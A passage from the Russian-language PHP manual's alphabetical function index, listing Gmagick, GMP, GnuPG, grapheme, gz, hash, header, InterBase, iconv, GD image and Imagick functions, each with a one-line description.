    • Gmagick::setimagedelay - Устанавливает задержку изображения
    • Gmagick::setimagedepth - Устанавливает глубину изображения
    • Gmagick::setimagedispose - Устанавливает метод удаления изображения
    • Gmagick::setimagefilename - Устанавливает имя файла конкретного изображения в последовательности
    • Gmagick::setimageformat - Устанавливает формат определённого изображения
    • Gmagick::setimagegamma - Устанавливает гамму изображения
    • Gmagick::setimagegreenprimary - Устанавливает цветность изображения зелёной первичной точкой
    • Gmagick::setimageindex - Устанавливает итератор в положение в списке изображений, заданном параметром index
    • Gmagick::setimageinterlacescheme - Устанавливает схему чересстрочной развёртки изображения
    • Gmagick::setimageiterations - Устанавливает итерации изображения
    • Gmagick::setimageprofile - Добавляет именованный профиль в объект Gmagick
    • Gmagick::setimageredprimary - Устанавливает цветность изображения красной основной точкой
    • Gmagick::setimagerenderingintent - Устанавливает способ рендеринга изображения
    • Gmagick::setimageresolution - Устанавливает разрешение изображения
    • Gmagick::setimagescene - Устанавливает сцену изображения
    • Gmagick::setimagetype - Устанавливает тип изображения
    • Gmagick::setimageunits - Устанавливает единицы разрешения изображения
    • Gmagick::setimagewhitepoint - Устанавливает цветность изображения белой точкой
    • Gmagick::setsamplingfactors - Устанавливает факторы выборки изображения
    • Gmagick::setsize - Устанавливает размер объекта Gmagick
    • Gmagick::shearimage - Создаёт параллелограмм
    • Gmagick::solarizeimage - Применяет соляризационный эффект к изображению
    • Gmagick::spreadimage - Случайно смещает каждый пиксель в блоке
    • Gmagick::stripimage - Снимает изображение всех профилей и комментариев
    • Gmagick::swirlimage - Закручивает пиксели вокруг центра изображения
    • Gmagick::thumbnailimage - Изменяет размер изображения
    • Gmagick::trimimage - Удаляет края с изображения
    • Gmagick::write - Псевдоним Gmagick::writeimage
    • Gmagick::writeimage - Записывает изображение в указанный файл
    • Gmagick::__construct - Конструктор объекта Gmagick
    • GmagickDraw::annotate - Рисует текст на изображении
    • GmagickDraw::arc - Рисует дугу
    • GmagickDraw::bezier - Рисует кривую Безье
    • GmagickDraw::ellipse - Рисует эллипс на изображении
    • GmagickDraw::getfillcolor - Возвращает цвет заливки
    • GmagickDraw::getfillopacity - Возвращает значение прозрачности, используемое при рисовании
    • GmagickDraw::getfont - Возвращает шрифт
    • GmagickDraw::getfontsize - Возвращает размер шрифта
    • GmagickDraw::getfontstyle - Возвращает стиль шрифта
    • GmagickDraw::getfontweight - Возвращает толщину шрифта
    • GmagickDraw::getstrokecolor - Возвращает цвет, используемый для обводки контуров объекта
    • GmagickDraw::getstrokeopacity - Возвращает прозрачность обведённых контуров объекта
    • GmagickDraw::getstrokewidth - Возвращает ширину обводки, используемой для отрисовки контуров объекта
    • GmagickDraw::gettextdecoration - Возвращает оформление текста
    • GmagickDraw::gettextencoding - Возвращает кодовый набор, используемый для текстовых аннотаций
    • GmagickDraw::line - Рисует линию
    • GmagickDraw::point - Рисует точку
    • GmagickDraw::polygon - Рисует многоугольник
    • GmagickDraw::polyline - Рисует ломаную линию
    • GmagickDraw::rectangle - Рисует прямоугольник
    • GmagickDraw::rotate - Применяет указанный поворот к текущему координатному пространству
    • GmagickDraw::roundrectangle - Рисует прямоугольник с закруглёнными углами
    • GmagickDraw::scale - Регулирует коэффициент масштабирования
    • GmagickDraw::setfillcolor - Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой
    • GmagickDraw::setfillopacity - Устанавливает непрозрачность заливки
    • GmagickDraw::setfont - Устанавливает указанный шрифт для использования при аннотации текста
    • GmagickDraw::setfontsize - Устанавливает размер шрифта для использования при аннотации текста
    • GmagickDraw::setfontstyle - Устанавливает стиль шрифта для использования при аннотации текста
    • GmagickDraw::setfontweight - Устанавливает толщину шрифта
    • GmagickDraw::setstrokecolor - Устанавливает цвет, используемый для обводки контуров объекта
    • GmagickDraw::setstrokeopacity - Определяет прозрачность обводки контуров объекта
    • GmagickDraw::setstrokewidth - Устанавливает ширину обводки, используемой для отрисовки контуров объекта
    • GmagickDraw::settextdecoration - Определяет оформление
    • GmagickDraw::settextencoding - Задаёт кодовый набор текста
    • GmagickPixel::getcolor - Возвращает цвет
    • GmagickPixel::getcolorcount - Получить количество пикселей изображения, имеющих заданный цвет
    • GmagickPixel::getcolorvalue - Возвращает нормализованное значение для заданного цветового канала
    • GmagickPixel::setcolor - Задать цвет
    • GmagickPixel::setcolorvalue - Установить нормализованное значение цветового канала
    • GmagickPixel::__construct - Конструктора класса GmagickPixel
    • gmdate - Форматирует дату/время по Гринвичу
    • gmmktime - Возвращает локальную метку времени Unix для времени по Гринвичу
    • GMP::__construct - Создает GMP-число
    • GMP::__serialize - Сериализует объект GMP
    • GMP::__unserialize - Десериализует параметр data в объект GMP
    • gmp_abs - Абсолютная величина
    • gmp_add - Сложение чисел
    • gmp_and - Побитовое И
    • gmp_binomial - Вычисляет биномиальный коэффициент
    • gmp_clrbit - Сброс бита
    • gmp_cmp - Сравнение чисел
    • gmp_com - Вычисляет дополнение до единицы числа
    • gmp_div - Псевдоним gmp_div_q
    • gmp_divexact - Делит числа без остатка
    • gmp_div_q - Деление чисел
    • gmp_div_qr - Деление чисел и получение частного и остатка
    • gmp_div_r - Остаток от деления чисел
    • gmp_export - Экспортировать в бинарную строку
    • gmp_fact - Факториал
    • gmp_gcd - Вычисление наибольшего общего делителя
    • gmp_gcdext - Вычисление НОД и множителей
    • gmp_hamdist - Расстояние Хэмминга
    • gmp_import - Импортировать из бинарной строки
    • gmp_init - Создание GMP числа
    • gmp_intval - Преобразовывает числа GMP в целое число
    • gmp_invert - Инверсия остатка от деления
    • gmp_jacobi - Символ Якоби
    • gmp_kronecker - Символ Кронекера — Якоби
    • gmp_lcm - Вычисляет наименьшее общее кратное
    • gmp_legendre - Символ Лежандра
    • gmp_mod - Вычисление остатка от целочисленного деления
    • gmp_mul - Умножение чисел
    • gmp_neg - Изменение знака числа
    • gmp_nextprime - Поиск следующего простого числа
    • gmp_or - Побитовое ИЛИ
    • gmp_perfect_power - Проверить, является ли число "совершенной степенью"
    • gmp_perfect_square - Проверка числа на точный квадрат
    • gmp_popcount - Количество единиц в двоичной записи числа
    • gmp_pow - Возводит число в степень
    • gmp_powm - Возводит число в степень и производит деление по модулю
    • gmp_prob_prime - Проверяет, является ли число "вероятно простым"
    • gmp_random - Случайное число
    • gmp_random_bits - Генерирует случайное число
    • gmp_random_range - Получает равномерно выбранное целое число
    • gmp_random_seed - Установить начальное состояние RNG
    • gmp_root - Извлечь корень степени N и вернуть его целую часть
    • gmp_rootrem - Извлечь корень степени N и вернуть его целую часть и остаток
    • gmp_scan0 - Поиск нуля в числе
    • gmp_scan1 - Поиск единицы в числе
    • gmp_setbit - Установка бита
    • gmp_sign - Знак числа
    • gmp_sqrt - Вычисление квадратного корня
    • gmp_sqrtrem - Квадратный корень с остатком
    • gmp_strval - Преобразовывает числа GMP в строку
    • gmp_sub - Вычитание чисел
    • gmp_testbit - Проверка, установлен ли бит в 1
    • gmp_xor - Побитовое исключающее ИЛИ
    • gmstrftime - Форматирует дату/время по Гринвичу с учётом текущей локали
    • gnupg_adddecryptkey - Добавить ключ для расшифровки
    • gnupg_addencryptkey - Добавляет ключ для шифрования
    • gnupg_addsignkey - Добавить ключ для подписания
    • gnupg_cleardecryptkeys - Удаляет все ключи, которые были установлены для расшифровки раньше
    • gnupg_clearencryptkeys - Удаляет все ключи, которые были установлены для шифрования раньше
    • gnupg_clearsignkeys - Удаляет все ключи, которые были установлены для подписания раньше
    • gnupg_decrypt - Расшифровывает переданный текст
    • gnupg_decryptverify - Расшифровывает и проверяет подпись переданного текста
    • gnupg_deletekey - Удаляет ключ из связки ключей
    • gnupg_encrypt - Шифрует заданный текст
    • gnupg_encryptsign - Шифрует и подписывает переданный текст
    • gnupg_export - Экспортирует ключ
    • gnupg_getengineinfo - Возвращает информацию о движке
    • gnupg_geterror - Возвращает текст сообщения об ошибке, если функция не была выполнена
    • gnupg_geterrorinfo - Возвращает информацию об ошибке
    • gnupg_getprotocol - Возвращает текущий активный протокол для всех операций
    • gnupg_gettrustlist - Поиск доверительных элементов
    • gnupg_import - Импортирует ключ
    • gnupg_init - Инициализировать GnuPG
    • gnupg_keyinfo - Возвращает массив с информацией обо всех ключах, которые соответствуют заданному шаблону
    • gnupg_listsignatures - Перечисляет подписи ключа
    • gnupg_setarmor - Переключает вывод в текстовом или бинарном режиме
    • gnupg_seterrormode - Устанавливает режим отчётов об ошибках (error_reporting)
    • gnupg_setsignmode - Устанавливает режим подписывания
    • gnupg_sign - Подписывает переданный текст
    • gnupg_verify - Проверяет подпись текста
    • grapheme_extract - Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8
    • grapheme_stripos - Находит позицию (в единицах графемы) первого появления строки без учёта регистра
    • grapheme_stristr - Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
    • grapheme_strlen - Получает длину строки в единицах графемы
    • grapheme_strpos - Находит позицию (в единицах графемы) первого вхождения строки
    • grapheme_strripos - Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
    • grapheme_strrpos - Находит позицию (в единицах графемы) последнего вхождения строки
    • grapheme_strstr - Возвращает часть строки haystack от первого появления needle до конца haystack
    • grapheme_substr - Возвращает часть строки
    • gregoriantojd - Преобразовывает дату по григорианскому календарю в количество дней в юлианском летоисчислении
    • gzclose - Закрыть указатель открытого gz-файла
    • gzcompress - Сжать строку
    • gzdecode - Декодирует строку, сжатую с помощью gzip
    • gzdeflate - Сжимает строку
    • gzencode - Создать сжатую строку gzip
    • gzeof - Проверяет, находится ли текущая позиция в конце (EOF) gz-файла
    • gzfile - Считывает весь gz-файл в массив
    • gzgetc - Получить символ из указателя на gz-файл
    • gzgets - Получить строку из указателя файла
    • gzgetss - Возвращает строку из указателя gz-файла и удалить HTML-теги
    • gzinflate - Распаковать сжатую строку
    • gzopen - Открыть gz-файл
    • gzpassthru - Вывод всех оставшихся данных из указателя gz-файла.
    • gzputs - Псевдоним gzwrite
    • gzread - Бинарное чтение gz-файла
    • gzrewind - Переместить позицию указатель gz-файла в начало
    • gzseek - Переместить указатель на позицию в указателе gz-файла
    • gztell - Возвращает текущую позицию чтения/записи в указателе gz-файла
    • gzuncompress - Распаковать сжатую строку
    • gzwrite - Бинарная запись в gz-файл
  • h
    • hash - Генерирует хеш-код (подпись сообщения)
    • HashContext::__construct - Закрытый конструктор для запрета непосредственного создания объекта
    • HashContext::__serialize - Сериализует объект HashContext
    • HashContext::__unserialize - Десериализует параметр data в объект HashContext
    • hash_algos - Возвращает список зарегистрированных алгоритмов хеширования
    • hash_copy - Копирует контекст хеширования
    • hash_equals - Сравнивает строки без риска атаки по времени
    • hash_file - Генерация хеш-значения, используя содержимое заданного файла
    • hash_final - Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода
    • hash_hkdf - Формирования ключа HKDF для заданных входных данных
    • hash_hmac - Генерация хеш-кода на основе ключа, используя метод HMAC
    • hash_hmac_algos - Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac
    • hash_hmac_file - Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла
    • hash_init - Инициализация инкрементального контекста хеширования
    • hash_pbkdf2 - Формирования ключа PBKDF2 для заданных входных данных
    • hash_update - Добавляет данные в активный контекст хеширования
    • hash_update_file - Добавляет данные из файла в активный контекст хеширования
    • hash_update_stream - Добавляет данные из открытого потока в активный контекст хеширования
    • header - Отправляет необработанный (сырой) HTTP-заголовок
    • headers_list - Возвращает список переданных заголовков (или готовых к отправке)
    • headers_sent - Проверяет, были ли отправлены заголовки
    • header_register_callback - Вызывает функцию заголовка
    • header_remove - Удаляет ранее установленные заголовки
    • hebrev - Преобразовывает текст на иврите из логической кодировки в визуальную
    • hebrevc - Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки
    • hex2bin - Преобразовывает шестнадцатеричные данные в двоичные
    • hexdec - Переводит число из шестнадцатеричной системы счисления в десятичную
    • highlight_file - Подсвечивает синтаксис файла
    • highlight_string - Подсвечивает синтаксис строки
    • hrtime - Получить системное время высокого разрешения
    • HRTime\PerformanceCounter::getFrequency - Частота таймера в тиках в секунду
    • HRTime\PerformanceCounter::getTicks - Текущее значение тиков системы
    • HRTime\PerformanceCounter::getTicksSince - Количество тиков, прошедших с заданного значения
    • HRTime\StopWatch::getElapsedTicks - Получить количество прошедших тиков для всех интервалов
    • HRTime\StopWatch::getElapsedTime - Получить суммарное прошедшее время всех интервалов
    • HRTime\StopWatch::getLastElapsedTicks - Получить количество прошедших тиков за последний интервал
    • HRTime\StopWatch::getLastElapsedTime - Получить прошедшее время для последнего интервала
    • HRTime\StopWatch::isRunning - Проверить, выполняется ли измерение
    • HRTime\StopWatch::start - Запустить измерение времени
    • HRTime\StopWatch::stop - Остановить измерение
    • htmlentities - Преобразовывает возможные символы в HTML-сущности
    • htmlspecialchars - Преобразовывает специальные символы в HTML-сущности
    • htmlspecialchars_decode - Преобразовывает специальные HTML-сущности обратно в символы
    • html_entity_decode - Преобразовывает HTML-сущности в символы
    • http:// - Доступ к URL-адресам по протоколу HTTP(s)
    • http_build_query - Генерирует URL-кодированную строку запроса
    • http_response_code - Получает или устанавливает код ответа HTTP
    • hypot - Рассчитывает длину гипотенузы прямоугольного треугольника
  • i
    • ibase_add_user - Добавляет пользователя в безопасную базу данных
    • ibase_affected_rows - Возвращает количество строк, на которые повлиял предыдущий запрос
    • ibase_backup - Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает
    • ibase_blob_add - Добавляет данные во вновь созданный BLOB-объект
    • ibase_blob_cancel - Отменяет создания BLOB-объекта
    • ibase_blob_close - Закрывает BLOB-объект
    • ibase_blob_create - Создаёт новый BLOB-объект для заполнения данными
    • ibase_blob_echo - Выводит содержимое BLOB-объекта в браузер
    • ibase_blob_get - Получает количество байтов от открытого BLOB-объекта
    • ibase_blob_import - Создаёт BLOB-объект, копирует в него файл и закрывает его
    • ibase_blob_info - Возвращает длину BLOB-объекта и другую полезную информацию
    • ibase_blob_open - Открывает BLOB-объект для извлечения частей данных
    • ibase_close - Закрывает соединение с базой данных InterBase
    • ibase_commit - Фиксирует транзакцию
    • ibase_commit_ret - Фиксирует транзакцию, не закрывая её
    • ibase_connect - Открывает соединение с базой данных
    • ibase_db_info - Запрашивает статистику базы данных
    • ibase_delete_user - Удаляет пользователя из безопасной базы данных
    • ibase_drop_db - Удаляет базу данных
    • ibase_errcode - Возвращает код ошибки
    • ibase_errmsg - Возвращает сообщение об ошибке
    • ibase_execute - Выполняет предварительно подготовленный запрос
    • ibase_fetch_assoc - Извлекает строку результата из запроса в виде ассоциативного массива
    • ibase_fetch_object - Получает объект из базы данных InterBase
    • ibase_fetch_row - Извлекает строку из базы данных InterBase
    • ibase_field_info - Получает информацию о поле
    • ibase_free_event_handler - Отменяет зарегистрированный обработчик события
    • ibase_free_query - Освобождает память, выделенную на подготовку запроса
    • ibase_free_result - Освобождает набор результатов
    • ibase_gen_id - Увеличивает указанный генератор и возвращает его новое значение
    • ibase_maintain_db - Выполняет команду обслуживания на сервере базы данных
    • ibase_modify_user - Изменяет пользователя в безопасной базе данных
    • ibase_name_result - Присваивает имя набору результатов
    • ibase_num_fields - Возвращает количество полей в результирующем наборе
    • ibase_num_params - Возвращает количество параметров в подготовленном запросе
    • ibase_param_info - Возвращает информацию о параметре в подготовленном запросе
    • ibase_pconnect - Открывает постоянное соединение с базой данных InterBase
    • ibase_prepare - Подготавливает запрос для последующего связывания псевдопеременных и выполнения
    • ibase_query - Выполняет запрос к базе данных InterBase
    • ibase_restore - Запускает задачу восстановления в диспетчере служб и немедленно возвращается
    • ibase_rollback - Откатывает транзакцию
    • ibase_rollback_ret - Откатывает транзакцию, не закрывая её
    • ibase_server_info - Запрашивает информацию о сервере базы данных
    • ibase_service_attach - Подключается к диспетчеру служб
    • ibase_service_detach - Отключается от диспетчера служб
    • ibase_set_event_handler - Регистрирует callback-функцию, которая будет вызываться при публикации событий
    • ibase_trans - Начинает транзакцию
    • ibase_wait_event - Ждём, пока событие будет опубликовано в базе данных
    • iconv - Преобразовывает строку из одной кодировки символов в другую
    • iconv_get_encoding - Получает текущее значение настроек преобразования кодировок
    • iconv_mime_decode - Декодирует поле MIME-заголовка
    • iconv_mime_decode_headers - Декодирует несколько полей заголовка MIME
    • iconv_mime_encode - Создаёт поле MIME-заголовка
    • iconv_set_encoding - Устанавливает текущей настройки для преобразования символов кодировки
    • iconv_strlen - Возвращает количество символов в строке
    • iconv_strpos - Возвращает позицию первого вхождения подстроки
    • iconv_strrpos - Возвращает позицию последнего вхождения подстроки
    • iconv_substr - Получение части строки
    • idate - Преобразовывает локальное время/дату в целое число
    • idn_to_ascii - Преобразовывает доменное имя в формат IDNA ASCII
    • idn_to_utf8 - Преобразование доменного имени из IDNA ASCII в Unicode
    • igbinary_serialize - Создаёт компактное, сохраняемое двоичное представление значения
    • igbinary_unserialize - Создаёт значение PHP из сохранённого представления функцией igbinary_serialize
    • ignore_user_abort - Устанавливает, должно ли отключение клиента прерывать выполнение скрипта
    • image2wbmp - Выводит изображение в браузер или пишет в файл
    • imageaffine - Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения
    • imageaffinematrixconcat - Конкатенирует две аффинные матрицы преобразования
    • imageaffinematrixget - Получает матрицу аффинного преобразования
    • imagealphablending - Задание режима сопряжения цветов для изображения
    • imageantialias - Требуется ли применять функции сглаживания или нет
    • imagearc - Рисование дуги
    • imageavif - Выводит изображение в браузер или пишет в файл
    • imagebmp - Вывести BMP-изображение в браузер или файл
    • imagechar - Рисование символа по горизонтали
    • imagecharup - Рисование символа вертикально
    • imagecolorallocate - Создание цвета для изображения
    • imagecolorallocatealpha - Создание цвета для изображения
    • imagecolorat - Получение индекса цвета пиксела
    • imagecolorclosest - Получение индекса цвета ближайшего к заданному
    • imagecolorclosestalpha - Получение индекса цвета ближайшего к заданному с учётом прозрачности
    • imagecolorclosesthwb - Получение индекса цвета, имеющего заданный тон, белизну и затемнение
    • imagecolordeallocate - Разрыв ассоциации переменной с цветом для заданного изображения
    • imagecolorexact - Получение индекса заданного цвета
    • imagecolorexactalpha - Получение индекса заданного цвета и альфа компонента
    • imagecolormatch - Делает цвета палитровой версии изображения более соответствующими truecolor версии
    • imagecolorresolve - Получает идентификатор конкретного цвета или его ближайший аналог
    • imagecolorresolvealpha - Получает идентификатор конкретного цвета и альфа компонента или его ближайший аналог
    • imagecolorset - Установка набора цветов для заданного индекса палитры
    • imagecolorsforindex - Получение цветов, соответствующих индексу
    • imagecolorstotal - Определение количества цветов в палитре изображения
    • imagecolortransparent - Определяет цвет как прозрачный
    • imageconvolution - Наложение искривляющей матрицы 3х3, используя коэффициент и смещение
    • imagecopy - Копирование части изображения
    • imagecopymerge - Копирует часть изображения с наложением
    • imagecopymergegray - Копирует часть изображения с наложением в градациях серого
    • imagecopyresampled - Копирование и изменение размера изображения с ресемплированием
    • imagecopyresized - Копирование и изменение размера части изображения
    • imagecreate - Создание нового палитрового изображения
    • imagecreatefromavif - Создаёт новое изображение из файла или URL
    • imagecreatefrombmp - Создаёт новое изображение из файла или URL
    • imagecreatefromgd - Создание нового изображения на основе GD файла или URL
    • imagecreatefromgd2 - Создание нового изображения на основе GD2 или URL
    • imagecreatefromgd2part - Создание нового изображения на основе части GD2 файла или URL
    • imagecreatefromgif - Создаёт новое изображение из файла или URL
    • imagecreatefromjpeg - Создаёт новое изображение из файла или URL
    • imagecreatefrompng - Создаёт новое изображение из файла или URL
    • imagecreatefromstring - Создание нового изображения из потока представленного строкой
    • imagecreatefromtga - Создаёт новое изображение из файла или URL
    • imagecreatefromwbmp - Создаёт новое изображение из файла или URL
    • imagecreatefromwebp - Создаёт новое изображение из файла или URL
    • imagecreatefromxbm - Создаёт новое изображение из файла или URL
    • imagecreatefromxpm - Создаёт новое изображение из файла или URL
    • imagecreatetruecolor - Создаёт новое полноцветное изображение
    • imagecrop - Обрезать изображение до заданного прямоугольника
    • imagecropauto - Обрезает изображение автоматически на основе заданного режима
    • imagedashedline - Рисование пунктирной линии
    • imagedestroy - Уничтожение изображения
    • imageellipse - Рисование эллипса
    • imagefill - Заливка
    • imagefilledarc - Рисование и заливка дуги
    • imagefilledellipse - Рисование закрашенного эллипса
    • imagefilledpolygon - Рисование закрашенного многоугольника
    • imagefilledrectangle - Рисование закрашенного прямоугольника
    • imagefilltoborder - Заливка цветом
    • imagefilter - Применяет фильтр к изображению
    • imageflip - Переворачивает изображение, используя выбранный режим
    • imagefontheight - Получение высоты шрифта
    • imagefontwidth - Получение ширины шрифта
    • imageftbbox - Определение границ текста выводимого шрифтом freetype2
    • imagefttext - Нанесение текста на изображение, используя шрифты FreeType 2
    • imagegammacorrect - Применение гамма коррекции к GD изображению
    • imagegd - Вывод GD-изображения в браузер или в файл
    • imagegd2 - Вывод GD2 изображения в браузер или файл
    • imagegetclip - Получить отсекающий прямоугольник
    • imagegetinterpolation - Получает метод интерполяции
    • imagegif - Выводит изображение в браузер или пишет в файл
    • imagegrabscreen - Захватывает изображение с экрана
    • imagegrabwindow - Захватывает изображение окна
    • imageinterlace - Включение или выключение интерлейсинга
    • imageistruecolor - Определяет, является ли изображение полноцветным
    • imagejpeg - Выводит изображение в браузер или пишет в файл
    • imagelayereffect - Установка флага альфа сопряжения для использования эффектов наложения изображений
    • imageline - Рисование линии
    • imageloadfont - Загрузка шрифта
    • imageopenpolygon - Рисует открытый полигон
    • imagepalettecopy - Копирование палитры из одного изображения в другое
    • imagepalettetotruecolor - Преобразовывает изображение на основе палитры в настоящий цвет
    • imagepng - Вывод PNG изображения в браузер или файл
    • imagepolygon - Рисование многоугольника
    • imagerectangle - Рисование прямоугольника
    • imageresolution - Получить или установить разрешение изображения
    • imagerotate - Поворот изображения с заданным углом
    • imagesavealpha - Сохранять ли полную информацию альфа-канала при сохранении изображений
    • imagescale - Масштабировать изображение по заданной ширине и высоте
    • imagesetbrush - Установка изображения (кисти), посредством которого будут рисоваться линии
    • imagesetclip - Установите прямоугольник ограничения
    • imagesetinterpolation - Устанавливает метод интерполяции
    • imagesetpixel - Рисование точки
    • imagesetstyle - Установка стиля рисования линий
    • imagesetthickness - Установка толщины линий
    • imagesettile - Установка изображения, которое будет использовано в качестве элемента мозаичной заливки
    • imagestring - Рисование строки текста горизонтально
    • imagestringup - Рисование строки текста вертикально
    • imagesx - Получение ширины изображения
    • imagesy - Получение высоты изображения
    • imagetruecolortopalette - Преобразовывает полноцветное изображения в палитровое
    • imagettfbbox - Получение параметров рамки обрамляющей текст написанный TrueType шрифтом
    • imagettftext - Рисование текста на изображении шрифтом TrueType
    • imagetypes - Возвращает список типов изображений, поддерживаемых PHP сборкой
    • imagewbmp - Выводит изображение в браузер или пишет в файл
    • imagewebp - Вывод изображения WebP в браузер или файл
    • imagexbm - Вывод XBM изображения в браузер или файл
    • image_type_to_extension - Получение расширения файла для типа изображения
    • image_type_to_mime_type - Получение Mime-типа для типа изображения, возвращаемого функциями getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
    • Imagick::adaptiveBlurImage - Добавляет адаптивный фильтр размытия к изображению
    • Imagick::adaptiveResizeImage - Адаптивное изменение размера изображения с данными триангуляции
    • Imagick::adaptiveSharpenImage - Адаптивное изменение резкости изображения
    • Imagick::adaptiveThresholdImage - Выбор порога для каждого пикселя в зависимости от диапазона интенсивности
    • Imagick::addImage - Добавляет новое изображение к списку изображений объекта Imagick
    • Imagick::addNoiseImage - Накладывает случайный шум на изображение
    • Imagick::affineTransformImage - Преобразовывает изображения
    • Imagick::animateImages - Анимация одного или нескольких изображений
    • Imagick::annotateImage - Добавляет текстовый комментарий на изображение
    • Imagick::appendImages - Объединяет набор изображений
    • Imagick::autoLevelImage - Настраивает уровни определённого канала изображения
    • Imagick::averageImages - Усредняет набор изображений
    • Imagick::blackThresholdImage - Перевести все пиксели ниже порогового значения в чёрный цвет
    • Imagick::blueShiftImage - Приглушает цвета изображения
    • Imagick::blurImage - Добавляет фильтр размытия к изображению
    • Imagick::borderImage - Окружает изображение рамкой
    • Imagick::brightnessContrastImage - Изменяет яркость и/или контраст изображения
    • Imagick::charcoalImage - Рисование углём
    • Imagick::chopImage - Удаляет область изображения и обрезает его
    • Imagick::clampImage - Ограничивает диапазон цветов от 0 до квантовой глубины
    • Imagick::clear - Очищает все ресурсы, связанные с объектом Imagick
    • Imagick::clipImage - Обрезка вдоль ближайшего контура с профилем 8BIM
    • Imagick::clipImagePath - Клипы вдоль именованных путей из профиля 8BIM, если они есть
    • Imagick::clipPathImage - Отсечь вдоль обозначенного контура с профилем 8BIM
    • Imagick::clone - Создаёт точную копию объекта Imagick
    • Imagick::clutImage - Заменяет цвета в изображении
    • Imagick::coalesceImages - Компонует набор изображений
    • Imagick::colorFloodfillImage - Изменяет значение цвета любого пикселя, соответствующего целевому
    • Imagick::colorizeImage - Смешивание цвета заливки с изображением
    • Imagick::colorMatrixImage - Применяет преобразование цвета к изображению
    • Imagick::combineImages - Объединяет одно или несколько изображений в одно изображение
    • Imagick::commentImage - Добавляет комментарий к вашему изображению
    • Imagick::compareImageChannels - Возвращает разницу в одном или нескольких изображениях
    • Imagick::compareImageLayers - Возвращает максимальную ограничивающую область между изображениями
    • Imagick::compareImages - Сравнивает изображение с восстановленным изображением
    • Imagick::compositeImage - Накладывает одно изображение на другое
    • Imagick::contrastImage - Изменяет контраст изображения
    • Imagick::contrastStretchImage - Повышает контрастность цветного изображения
    • Imagick::convolveImage - Применяет пользовательское ядро свёртки к изображению
    • Imagick::count - Получает количество изображений
    • Imagick::cropImage - Извлекает область изображения
    • Imagick::cropThumbnailImage - Создаёт обрезанную миниатюру
    • Imagick::current - Возвращает ссылку на текущий объект Imagick
    • Imagick::cycleColormapImage - Отображает цветовую карту изображения
    • Imagick::decipherImage - Расшифровывает изображение
    • Imagick::deconstructImages - Возвращает определённые пиксельные различия между изображениями
    • Imagick::deleteImageArtifact - Удаляет артефакт изображения
    • Imagick::deleteImageProperty - Удаляет свойство изображения
    • Imagick::deskewImage - Удаляет перекос с изображения
    • Imagick::despeckleImage - Уменьшает спекл-шум на изображении
    • Imagick::destroy - Удаляет объект Imagick
    • Imagick::displayImage - Выводит изображение
    • Imagick::displayImages - Выводит изображение или последовательность изображений
    • Imagick::distortImage - Искажает изображение, используя различные методы искажения
    • Imagick::drawImage - Выполняет рендеринг объекта ImagickDraw на текущем изображении
    • Imagick::edgeImage - Усиливает края в изображении
    • Imagick::embossImage - Возвращает изображение в градациях серого с трёхмерным эффектом
    • Imagick::encipherImage - Шифрует изображение
    • Imagick::enhanceImage - Улучшает качество шумного изображения
    • Imagick::equalizeImage - Выравнивает гистограмму изображения
    • Imagick::evaluateImage - Применяет выражение к изображению
    • Imagick::exportImagePixels - Экспортирует пиксели изображения
    • Imagick::extentImage - Устанавливает размер изображения
    • Imagick::filter - Применяет пользовательское ядро свёртки к изображению
    • Imagick::flattenImages - Объединяет последовательность изображений
    • Imagick::flipImage - Создаёт вертикальное зеркало изображения
    • Imagick::floodFillPaintImage - Изменяет значение цвета любого пикселя, соответствующего целевому
    • Imagick::flopImage - Создаёт горизонтальное зеркальное отображение
    • Imagick::forwardFourierTransformImage - Реализует дискретное преобразование Фурье
    • Imagick::frameImage - Добавляет имитацию трёхмерной границы
    • Imagick::functionImage - Применяет функцию к изображению
    • Imagick::fxImage - Оценивает выражение для каждого пикселя в изображении
    • Imagick::gammaImage - Гамма-коррекция изображения
    • Imagick::gaussianBlurImage - Размывает изображение
    • Imagick::getColorspace - Возвращает цветовую палитру
    • Imagick::getCompression - Возвращает тип сжатия объекта
    • Imagick::getCompressionQuality - Возвращает качество сжатия объекта
    • Imagick::getCopyright - Возвращает копирайт API ImageMagick в виде строки
    • Imagick::getFilename - Имя файла результирующего изображения
    • Imagick::getFont - Возвращает название шрифта
    • Imagick::getFormat - Возвращает формат Imagick объекта
    • Imagick::getGravity - Возвращает значение гравитации (притяжения)
    • Imagick::getHomeURL - Возвращает домашний URL библиотеки ImageMagick
    • Imagick::getImage - Возвращает новый объект Imagick
    • Imagick::getImageAlphaChannel - Проверяет, есть ли у изображения альфа-канал
    • Imagick::getImageArtifact - Возвращает артефакт изображения
    • Imagick::getImageAttribute - Возвращает именованный атрибут
    • Imagick::getImageBackgroundColor - Возвращает цвет фона изображения
    • Imagick::getImageBlob - Возвращает последовательность изображений в виде BLOB
    • Imagick::getImageBluePrimary - Возвращает основную точку синего цвета для изображения
    • Imagick::getImageBorderColor - Возвращает цвет рамки изображения
    • Imagick::getImageChannelDepth - Возвращает глубину для определённого канала изображения
    • Imagick::getImageChannelDistortion - Сравнивает каналы изображения с восстановленным изображением
    • Imagick::getImageChannelDistortions - Возвращает искажения канала
    • Imagick::getImageChannelExtrema - Возвращает экстремумы для одного или нескольких каналов изображения
    • Imagick::getImageChannelKurtosis - Возвращает эксцесс и асимметрию определённого канала
    • Imagick::getImageChannelMean - Возвращает среднее и стандартное отклонение
    • Imagick::getImageChannelRange - Возвращает диапазон каналов
    • Imagick::getImageChannelStatistics - Возвращает статистику для каждого канала изображения
    • Imagick::getImageClipMask - Возвращает обтравочную маску изображения
    • Imagick::getImageColormapColor - Возвращает цвет указанного индекса палитры
    • Imagick::getImageColors - Возвращает число уникальных цветов в изображении
    • Imagick::getImageColorspace - Возвращает цветовую палитру изображения
    • Imagick::getImageCompose - Возвращает составной оператор, связанный с изображением
    • Imagick::getImageCompression - Возвращает текущий тип компрессии изображения
    • Imagick::getImageCompressionQuality - Возвращает текущее качество сжатия изображения
    • Imagick::getImageDelay - Возвращает задержку изображения
    • Imagick::getImageDepth - Возвращает глубину изображения
    • Imagick::getImageDispose - Возвращает метод удаления изображения
